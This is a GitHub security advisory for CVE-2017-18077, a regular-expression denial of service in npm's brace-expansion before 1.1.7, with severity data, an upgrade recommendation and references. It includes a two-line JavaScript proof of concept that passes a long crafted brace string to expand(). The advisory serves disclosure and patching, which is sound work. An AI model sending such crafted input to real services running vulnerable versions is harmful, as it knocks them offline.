GitHub Advisoryadvisory · npm
GHSA-832h-xg76-4gv6 ReDoS in brace-expansion
HIGH
Official page ↗
- Aliases
- CVE-2017-18077
- Ecosystem
- npm
- Packages
- brace-expansion
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333
- Reviewed
- 2020-06-16
Affected packages
• npm brace-expansion: < 1.1.7 → fixed in 1.1.7
Description
Affected versions of `brace-expansion` are vulnerable to a regular expression denial of service condition.
Proof of Concept
```
var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');
```
Recommendation
Update to version 1.1.7 or later.
Related
Alias · CVE (1)
- CVE-2017-18077 index.js in brace-expansion before 1.1.7 is vulnerable to Regular Expression Denial of Service (ReDoS) attacks, as demonstrated by an… vulnerability
Weakness · CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2017-18077 advisory
- https://github.com/juliangruber/brace-expansion/issues/33 web
- https://github.com/juliangruber/brace-expansion/pull/35 web
- https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3 web
- https://bugs.debian.org/862712 web
- https://github.com/advisories/GHSA-832h-xg76-4gv6 advisory
- https://github.com/juliangruber/brace-expansion package
- https://www.npmjs.com/advisories/338 web